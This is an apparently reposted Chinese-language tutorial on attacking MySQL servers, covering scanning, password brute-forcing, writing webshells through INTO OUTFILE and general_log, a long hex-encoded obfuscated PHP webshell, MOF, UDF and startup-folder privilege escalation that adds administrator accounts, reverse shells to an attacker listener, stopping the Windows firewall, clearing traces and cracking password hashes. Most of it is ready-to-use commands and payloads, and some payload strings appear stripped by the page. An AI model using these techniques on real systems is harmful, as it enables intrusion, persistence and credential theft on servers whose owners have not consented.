當前位置:
首頁 > 最新 > Mysql資料庫滲透及漏洞利用

Mysql資料庫滲透及漏洞利用

信息安全公益宣傳,信息安全知識啟蒙。

教程列表見微信公眾號底部菜單

MySQL 資料庫是目前世界上使用最為廣泛的資料庫之一,很多著名公司和站點都使用 MySQL 作為其資料庫支撐,目前很多架構都以 MySQL 作為資料庫管理系統,例如 LAMP、和 WAMP 等。

在針對網站滲透中,很多都是跟 MySQL 資料庫有關,各種 MySQL 注入,MySQL 提權,MySQL 資料庫 root 賬號 webshell 獲取等的,但沒有一個對 MySQL 資料庫滲透較為全面對總結。

在研究 MySQL 資料庫安全之餘,對 MySQL 如何通過 msf、sqlmap 等來進行掃描、漏洞利用、提權、MySQL 密碼破解和獲取 webshell 等進行了詳細研究。

一、 Mysql信息收集

1、埠信息收集

Mysql默認埠是3306埠,但也有自定義埠,針對默認埠掃描主要利用掃描軟體進行探測,推薦使用:

(1)iisputter,直接填寫3306埠,IP地址填寫單個或者C段地址。

(2)nmap掃描nmap -p 3306 192.168.1.1-254

特定目標的滲透,可能需要對全埠進行掃描,可以使用Nmap對某一個IP地址進行全埠掃描,埠掃描軟體還有sfind等DOS下掃描的工具。

2、版本信息收集

(1)msf查看版本信息auxiliary/scanner/mysql/mysql_version模塊,以掃描主機192.168.157.130為例,命令為:

use auxiliary/scanner/mysql/mysql_version

set rhosts 192.168.157.130

run

(2)mysql查詢版本命令:

SELECT @@version`、`SELECT version();

(3)sqlmap通過注入點掃描確認信息:

sqlmap.py -u url --dbms mysql

(4)phpmyadmin管理頁面登錄後查看localhost->變數->伺服器變數和設置中的version參數值。

3、資料庫管理信息收集

Mysql管理工具有多種,例如phpmyadmin網站管理,Navicat for MySQL以及MysqlFront等客戶端工具。這些工具有的會直接保存配置信息,這些信息包含資料庫伺服器地址和資料庫用戶名以及密碼,通過嗅探或者破解配置文件可以獲取密碼等信息。

4、msf信息收集模塊

(1)mysql哈希值枚舉

use auxiliary/scanner/mysql/mysql_hashdump

set username root

set password root

run

(2)獲取相關信息

use auxiliary/admin/mysql/mysql_enum

set username root

set password root

run

獲取資料庫版本,操作系統名稱,架構,資料庫目錄,資料庫用戶以及密碼哈希值。

(3)執行mysql語句,連接成功後可以在msf執行sql語句,跟sqlmap的--sql-shell模塊類似。

use auxiliary/admin/mysql/mysql_sql

(4)將mysql_schem導出到本地 /root/.msf4/loot/文件夾下

use auxiliary/scanner/mysql/mysql_schemadump

(5)文件枚舉和目錄可寫信息枚舉

auxiliary/scanner/mysql/mysql_file_enum

auxiliary/scanner/mysql/mysql_writable_dirs

沒有測試成功過,需要定義枚舉目錄和相關文件,覺得基本沒有啥用。

二、Mysql密碼獲取

(一)、暴力破解

Mysql暴力破解主要有幾種:

1、網頁在線連接破解

可以使用burpsuite和phpMyAdmin多線程批量破解工具。 下載:

https://portswigger.net/burp/、http://pan.baidu.com/s/1c1LD6co

2、msf通過命令行進行暴力破解

msf破解mysql密碼模塊auxiliary/scanner/mysql/mysql_login,其參數主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE參數。對單一主機僅僅需要設置RHOSTS、RPORT、USERNAME、PASSWORD和PASS_FILE,其它參數根據實際情況進行設置。

(1)場景A:對內網獲取root某一個口令後,擴展滲透

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 192.168.157.1-254

set password root

set username root

run

執行後對192.168.157.1-254進行mysql密碼掃描驗證。

(2)場景B:使用密碼字典進行掃描

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 192.168.157.1-254

set pass_file /tmp/password.txt

set username root

run

3、使用nmap掃描並破解密碼

(1)對某一個IP或者IP地址段進行nmap默認密碼暴力破解並掃描

nmap --script=mysql-brute 192.168.157.130

nmap --script=mysql-brute 192.168.157.1-254

(2)使用root賬號root密碼進行mysql密碼驗證並掃描獲取指定IP地址的埠信息以及mysql資料庫相關信息

nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130

(3)檢查root空口令

nmap --script mysql-empty-password 192.168.195.130

4.使用hscan工具對mysql口令進行掃描,需要設置掃描IP地址段以及資料庫口令字典及用戶名字典。

(二)、源代碼泄露

1、網站源代碼備份文件

一些網站源代碼文件中會包含資料庫連接文件,通過查看這些文件可以獲取資料庫賬號和密碼。一般常見的資料庫連接文件為config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOMEdocsexamplesjcaXXXX-ds.xml。以前有一款工具挖掘雞可以自定義網站等名稱對zip/rar/tar/tar.gz/gz/sql等後綴文件進行掃描。

2、配置備份文件

使用ultraedit等編輯文件編輯資料庫配置文件後,會留下bak文件。

(三)文件包含

本地文件包含漏洞可以包含文件,通過查看文件代碼獲取資料庫配置文件,進而讀取資料庫用戶名和密碼。

(四)其它情況

有些軟體會將IP地址、資料庫用戶名和密碼寫進程序中,運行程序後,通過cain軟體進行嗅探,可以獲取資料庫密碼。另外Mysql客戶端管理工具有的管理員會建立連接記錄,這些連接記錄保存了用戶名、密碼和連接IP地址或者主機名,通過配置文件或者嗅探可以獲取用戶名和密碼。

三、Mysql獲取webshell

(一)phpmyadminroot賬號獲取webshell

MysqlRoot賬號通過phpMyAdmin獲取webshell的思路,主要有下面幾種方式,以第一二六八種方法較佳,其它可以根據實際情況來進行。

1、直接讀取後門文件

通過程序報錯、phpinfo函數、程序配置表等直接獲取網站真實路徑,有些網站前期已經被人滲透過,因此在目錄下留有後門文件通過load_file直接讀取。

2、直接導出一句話後門

select ""INTO OUTFILE "D:/work/WWW/antian365.php"

3、創建資料庫導出一句話後門

在查詢窗口直接執行以下代碼即可,跟2.原理類似。

CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );

INSERT INTO `mysql`.`antian365` (`temp` ) VALUES("");

SELECT `temp` FROM `antian365` INTO OUTFILE"D:/www/antian365.php";

DROP TABLE IF EXISTS `antian365`;

4、可執行命令方式

select "

";system($_GET["cmd"]); echo ""; ?>" INTO OUTFILE "d:/www/antian365.php"

另外在linux下可以導出直接執行命令的shell:

SELECT "" INTO OUTFILE "/var/www/shell.php";

http://localhost/shell.php?c=cat%20/etc/passwd

5、過殺毒軟體方式

通過後台或者存在上傳圖片的地方,上傳圖片publicguide.jpg,內容如下:

".base64_decode($a));?>

然後通過圖片包含temp.php,導出webshell。

select ""INTO OUTFILE "D:/work/WWW/antian365.php"

一句話後門密碼:antian365

6、直接導出加密webshell

一句話後門文件密碼:pp64mqa2x1rnw68,執行以下查詢直接導出加密webshell,D:/WEB/IPTEST/22.php,注意在實際過程需要修改D:/WEB/IPTEST/22.php。

select unhex("203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E") into dumpfile "D:/WEB/IPTEST/22.php"

注意:

也可以使用http://tool.lu/hexstr/網站的代碼轉換來實現,將需要導出的文件代碼複製到網站的字元串中,通過字元串轉成十六進位,將十六進位字元串放入unhex函數進行查詢即可:

select unhex("十六進位字元串") into dumpfile "D:/WEB/shell.php"

7、CMS系統獲取webshell

有些情況下無法獲取網站的真實路徑,則意味著無法直接導出一句話webshell,可以通過CMS系統管理賬號登錄系統後,尋找漏洞來突破,例如dedecms則可以通過破解管理員賬號後直接上傳文件來獲取webshell。Discuz!的UC_key可以直接獲取webshell。甚至某些系統可以直接上傳php文件。下面是一些CMS系統滲透的技巧:

(1)dedecms系統的密碼有直接md5,也有20位的密碼,如果是20位的密碼則需要去掉密碼中的前3位和最後1位,然後對剩餘的值進行md5解密即可;

(2)phpcms v9版本的密碼需要加salt進行破解,需要選擇破解演算法md5(md5($pass).$salt)進行破解。

(3)Discuz!論壇帳號保存在ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要帶salt進行,其破解時是使用password:salt進行,例如a0513df9929afc972f024fa4e586e829:399793。

8、general_log_file獲取webshell

(1)查看genera文件配置情況

show global variables like "%genera%";

(2)關閉general_log

set global general_log=off;

(3)通過general_log選項來獲取webshell

set global general_log="on";

SET global general_log_file="D:/phpStudy/WWW/cmd.php";

在查詢中執行語句:

SELECT "";

Shell為cmd.php,一句話後門,密碼為cmd。

(二)sqlmap注入點獲取webshell

sqlmap注入點獲取webshell的前提是具備寫許可權,一般是root賬號,通過執行命令來獲取:

sqlmap -u url--os-shell

echo "" >/data/www/1.php

四、Mysql提權

(一)、mof提權

1、Webshell上傳mof文件提權

MySQL Root許可權MOF方法提權是來自國外Kingcope大牛發布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),簡稱mysql遠程提權0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規範 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的託管對象格式 (MOF) 文件:

方法1:運行 MOF 文件指定為命令行參數 Mofcomp.exe 文件。

方法2:使用 IMofCompiler 介面和 $ CompileFile 方法。

方法3:拖放到 %SystemRoot%System32WbemMOF 文件夾的 MOF 文件。

Microsoft 建議您到存儲庫編譯 MOF 文件使用前兩種方法。也就是運行 Mofcomp.exe 文件,或使用IMofCompiler::CompileFile方法。第三種方法僅為向後兼容性與早期版本的 WMI提供,並因為此功能可能不會提供在將來的版本後,不應使用。注意使用MOF方法提權的前提是當前Root帳號可以複製文件到%SystemRoot%System32WbemMOF目錄下,否則會失敗!

該漏洞的利用前提條件是必須具備mysql的root許可權,在Kingcope公布的0day中公布了一個pl利用腳本。

perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

192.168.2.100為mysql資料庫所在伺服器,mysql口令為空,反彈到192.168.2.150的5555埠上。

2、生成nullevt.mof文件

將以下代碼保存為nullevt.mof文件:

#pragma namespace("\\.\root\subscription")

instance of __EventFilter as $EventFilter

{

EventNamespace = "Root\Cimv2";

Name = "filtP2";

Query = "Select From __InstanceModificationEvent "

"Where TargetInstance Isa "Win32_LocalTime" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new ActiveXObject("WScript.Shell")
WSH.run("net.exe user admin admin /add")";

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};

3、通過Mysql查詢將文件導入

執行以下查詢語句,將上面生成的nullevt.mof導入到c:windowssystem32wbemmof目錄下在windows7中默認是拒絕訪問的。導入後系統會自動運行,執行命令。

selectload_file("C:\RECYCLER\nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof";

(二)Msf直接mof提權

use exploit/windows/mysql/mysql_mof

set rhost 192.168.157.1 //設置需要提權的遠程主機IP地址

set rport 3306 //設置mysql的遠程埠

set password root //設置mysql資料庫root密碼

set username root //設置mysql用戶名

options //查看設置

run 0

技巧:

要是能夠通過網頁連接管理(phpmyadmin),則可以修改host為%並刷新許可權後,則可以通過msf等工具遠程連接資料庫。默認root等賬號不允許遠程連接,除非管理員或者資料庫用戶自己設置。

方法1:本地登入mysql,更改 mysql資料庫里的 user 表裡的 host項,將localhost改為%

use mysql;

update user set host = "%" where user = "root";

FLUSH PRIVILEGES ;

select host, user from user;

方法2:直接授權(推薦)

從任何主機上使用root用戶,密碼:youpassword(你的root密碼)連接到mysql伺服器:

# mysql -u root -proot

GRANT ALL PRIVILEGES ON . TO "root"@"%" IDENTIFIED BY "youpassword" WITH GRANT OPTION;

FLUSH PRIVILEGES;

薦重新增加一個用戶,在實際測試過程中發現很多伺服器使用root配置了多個地址,修改後可能會影響實際系統的運行。在實際測試過程中因此建議新增一個用戶,授權所有許可權,而不是直接更改root配置。

(三)UDF提權

UDF提權是利用MYSQL的自定義函數功能,將MYSQL賬號轉化為系統system許可權,其利用條件是目標系統是Windows(Win2000,XP,Win2003);擁有MYSQL的某個用戶賬號,此賬號必須有對mysql的insert和delete許可權以創建和拋棄函數,有root賬號密碼

Windows下UDF提權對於Windows2008以下伺服器比較適用,也即針對Windows2000、Windows2003的成功率較高。

1、UDF提權條件

(1)Mysql版本大於5.1版本udf.dll文件必須放置於MYSQL安裝目錄下的libplugin文件夾下。

(2)Mysql版本小於5.1版本。udf.dll文件在Windows2003下放置於c:windowssystem32,在windows2000下放置於c:winntsystem32。

(3)掌握的mysql資料庫的賬號有對mysql的insert和delete許可權以創建和拋棄函數,一般以root賬號為佳,具備`root賬號所具備的許可權的其它賬號也可以。

(4)可以將udf.dll寫入到相應目錄的許可權。

2、提權方法

(1)獲取資料庫版本、數據位置以及插件位置等信息

select version();//獲取資料庫版本

select user();//獲取資料庫用戶

select @@basedir ;//獲取安裝目錄

show variables like "%plugins%"; //尋找mysql安裝路徑

(2)導出路徑

C:Winntudf.dll Windows 2000

C:Windowsudf.dll Windows2003(有的系統被轉義,需要改為C:Windowsudf.dll)

MYSQL 5.1以上版本,必須要把udf.dll文件放到MYSQL安裝目錄下的libplugin文件夾下才能創建自定義函數。該目錄默認是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,並在安裝目錄下創建libplugin文件夾,然後將udf.dll文件導出到該目錄即可。

在某些情況下,我們會遇到Can"t open shared library的情況,這時就需要我們把udf.dll導出到libplugin目錄下才可以,網上大牛發現利用NTFS ADS流來創建文件夾的方法:

select @@basedir; //查找到mysql的目錄

select "It is dll" into dumpfile "C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION"; //利用NTFS ADS創建lib目錄

select "It is dll" into dumpfile "C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION";//利用NTFS ADS創建plugin目錄

執行成功以後就會plugin目錄,然後再進行導出udf.dll即可。

(3)創建cmdshell 函數,該函數叫什麼名字在後續中則使用該函數進行查詢:

create function cmdshell returns string soname 『lib_mysqludf_sys.dll』;

(4)執行命令:

select sys_eval(『whoami』);

一般情況下不會出現創建不成功哦。

連不上3389可以先停止windows防火牆和篩選

select sys_eval(『net stop policyagent』);

select sys_eval(『net stop sharedaccess』);

udf.dll下常見函數:

cmdshell 執行cmd;

downloader 下載者,到網上下載指定文件並保存到指定目錄;

open3389 通用開3389終端服務,可指定埠(不改埠無需重啟);

backshell 反彈Shell;

ProcessView 枚舉系統進程;

KillProcess 終止指定進程;

regread 讀註冊表;

regwrite 寫註冊表;

shut 關機,註銷,重啟;

about 說明與幫助函數;

具體用戶示例:

select cmdshell("net user iis_user 123!@#abcABC /add");

select cmdshell("net localgroup administrators iis_user /add");

select cmdshell("regedit /s d:web3389.reg");

select cmdshell("netstat -an");

(5)清除痕迹

drop function cmdshell;//將函數刪除

刪除udf.dll文件以及其它相關入侵文件及日誌。

(6)常見錯誤

1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

在my.ini或者mysql.cnf文件中註銷 (使用#號) 包含secure_file_priv的行(SHOW VARIABLES LIKE "secure_file_priv")。

1123 - Can"t initialize function "backshell"; UDFs are unavailable with the --skip-grant-tables option

需要將my.ini中的skip-grant-tables選項去掉。

3、webshell下udf提權

通過集成udf提權的webshell輸入資料庫用戶名及密碼以及資料庫伺服器地址或者IP通過連接後導出進行提權。

4、Mysql提權綜合利用工具

v5est0r 寫了一個Mysql提權綜合利用工具,詳細情況請參考其代碼共享網站:https://github.com/v5est0r/Python_FuckMySQL其主要功能有:

(1)自動導出你的backdoor和mof文件

(2)自動判斷mysql版本,根據版本不同導出UDF的DLL到不同目錄,UDF提權

(3)導出LPK.dll文件,劫持系統目錄提權

(4)寫啟動項提權

UdF自動提權:

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf

LPK劫持提權:

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk

啟動項提權:

python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst

例如通過LOAD_FILE來查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,這無法進行提權

(四)無法獲取webshell提權

1、連接mysql

(1)mysql.exe -h ip -uroot -p

(2)phpmyadmin

(3)Navicat for MySQL

2、查看資料庫版本和數據路徑

SELECT VERSION( );

Select @@datadir;

5.1以下版本,將dll導入到c:/windows或者c:/windows/system32/

5.1以上版本 通過以下查詢來獲取插件路徑:

SHOW VARIABLES WHERE Variable_Name LIKE "%dir";

show variables like "%plugin%" ;

select load_file("C:/phpStudy/Apache/conf/httpd.conf")

select load_file("C:/phpStudy/Apache/conf/vhosts.conf")

select load_file("C:/phpStudy/Apache/conf/extra/vhosts.conf")

select load_file("C:/phpStudy/Apache/conf/extra/httpd.conf")

select load_file("d:/phpStudy/Apache/conf/vhosts.conf")

3、修改mysql.txt

Mysql.txt為udf.dll的二進位文件轉成十六進位代碼。

(1)先執行導入ghost表中的內容

修改以下代碼的末尾代碼 select backshell("YourIP",4444);

(2)導出文件到某個目錄

select data from Ghost into dumpfile "c:/windows/mysqldll.dll";

select data from Ghost into dumpfile "c:/windows/system32/mysqldll";

select data from Ghost into dumpfile "c:/phpStudy/MySQL/lib/plugin/mysqldll";

select data from Ghost into dumpfile "E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll";

select data from Ghost into dumpfile "C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll"

select data from Ghost into dumpfile "D:/phpStudy/MySQL/lib/plugin/mysqldll.dll";

select load_file("C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm");

select data from Ghost into dumpfile "C:Program FilesMySQLMySQL Server 5.1lib/plugin/mysqldll.dll"

(3)查看FUNCTION中是否存在cmdshell和backshell

存在則刪除:

drop FUNCTION cmdshell;//刪除cmdshell

drop FUNCTION backshell;//刪除backshell

創建backshell:

CREATE FUNCTION backshell RETURNS STRING SONAME "mysqldll.dll"; //創建backshell

在具備獨立主機的伺服器上執行監聽:

nc -vv -l -p 44444

執行查詢:

select backshell("192.192.192.1",44444);//修改192.192.192.1為你的IP和埠

4、獲取webshell後添加用戶命令

注意如果不能直接執行,則需要到

c:windowssystem32下執行

net user antian365 www.xianzhi.aliyun.com /add

net localgroup administrators antian365

(五)sqlmap直連資料庫提權

Sqlmap直接連接資料庫提權,需要有寫入許可權和root賬號及密碼,命令如下:

(1)連接資料庫

(2)選擇操作系統的架構,32位操作系統選擇1,64位選擇2

.

(3)自動上傳udf或提示os-shell

(4)執行whomai命令如果獲取系統許可權,則表示提權成功。

(六)msfudf提權

Kali滲透測試平台下執行(kali下載地https://www.kali.org/downloads/):

msfconsole

use exploit/windows/mysql/mysql_payload

options

set rhost 192.168.2.1

set rport 3306

set username root

set password 123456

run 0或者exploit

msf下udf提權成功率並不高,跟windows操作系統版本,許可權和資料庫版本有關,特別是secure-file-priv選項,如果有該選項基本不會成功。

(七)啟動項提權

1、創建表並插入vbs腳本到表中

依次使用以下命令:

show databases ;

use test;

show tables;

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );

select from a;

導出vbs腳本到啟動

使用以下命令將剛才在a表中創建的vbs腳本導出到啟動選項中。

select from a into outfile "C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\a.vbs";

導入成功後,系統重新啟動時會自動添加密碼為「1」且用戶名稱為「1」的用戶到管理員組中。在實際使用過程中該腳本成功執行的幾率比較低,有時候會出現不能導出的錯誤。

推薦使用以下腳本:

show databases ;

use test;

show tables;

create table b (cmd text);

insert into b values ("net user Aspnet123545345! /add");

insert into b values ("net localgroup administrators Aspnet /add");

insert into b values ("del b.bat");

select from b into outfile "C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\b.bat";

該腳本執行後雖然會閃現Dos窗口,如果有許可權導入到啟動選項中,則一定會執行成功,在虛擬機中通過MySQL連接器連接並執行以上命令後,在C:Documents and SettingsAll Users「開始」菜單程序啟動目錄中會有剛才導出的b.bat腳本文件。

說明

在不同的操作系統中C:Documents and SettingsAll Users「開始」菜單程序啟動目錄文件名稱可能會不同,這個時候就要將其目錄換成相應的目錄名稱即可。例如如果是英文版本操作系統則其插入的代碼為:

select from b into outfile "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\b.bat";

Windows 2008 Server的啟動目錄為:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\iis.vbs

其vbs方法可以參考如下寫法:

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators antian365 /add"",0) " );

select from a into outfile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\iis.vbs";

msf下模塊exploit/windows/mysql/mysql_start_up提權

use exploit/windows/mysql/mysql_start_up

set rhost 192.168.2.1

set rport 3306

set username root

set password 123456

run

msf下mysql_start_up提權有一定的幾率,對英文版系統支持較好。

五、Msf其它相關漏洞提權

1、Mysql身份認證漏洞及利用(CVE-2012-2122)

當連接MariaDB/MySQL時,輸入的密碼會與期望的正確密碼比較,由於不正確的處理,會導致即便是memcmp()返回一個非零值,也會使MySQL認為兩個密碼是相同的。也就是說只要知道用戶名,不斷嘗試就能夠直接登入SQL資料庫。按照公告說法大約256次就能夠蒙對一次。受影響的產品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞。

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 不存在漏洞

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not 不存在漏洞

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

2、exploit/windows/mysql/mysql_yassl_hello

3、exploit/windows/mysql/scrutinizer_upload_exec

六、mysql密碼破解

(一)cain工具破解mysql密碼

注意:

(1)root後面的「」不要複製到字元串中。

(2)在有些情況下需要往後面看看,否則得到的不是完整的MYSQLSHA1密碼,總之其正確的密碼位數是40位。

安裝cain工具,使用cracker,右鍵單擊「Add tolist」將Mysql Hashes值加入到破解列表中,使用軟體中的字典、暴力破解等方式來進行暴力破解。

(二)網站在線密碼破解

1、cmd5.com破解。將獲取的mysql值放在cmd5.com網站中進行查詢,mysql密碼一般都是收費的。

2、somd5.com破解。Somd5.com是後面出現的一個免費破解網站,每次破解需要手工選擇圖形碼進行破解,速度快,效果好,只是每次只能破解一個,而且破解一次後需要重新輸入驗證碼。

(三)oclhash破解

hashcat支持很多種破解演算法,免費開源軟體,官方網站https://hashcat.net/hashcat/,破解命令:

hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323類型

hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5類型

(四)John the Ripper password cracker

John the Ripper下載地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper除了能夠破解linux外,還能破解多種格式的密碼。

Echo 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt

John –format =mysql-sha1 hashes.txt

john --list=formats | grep mysql //查看支持mysql密碼破解的演算法


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 計算機與網路安全 的精彩文章:

TAG:計算機與網路安全 |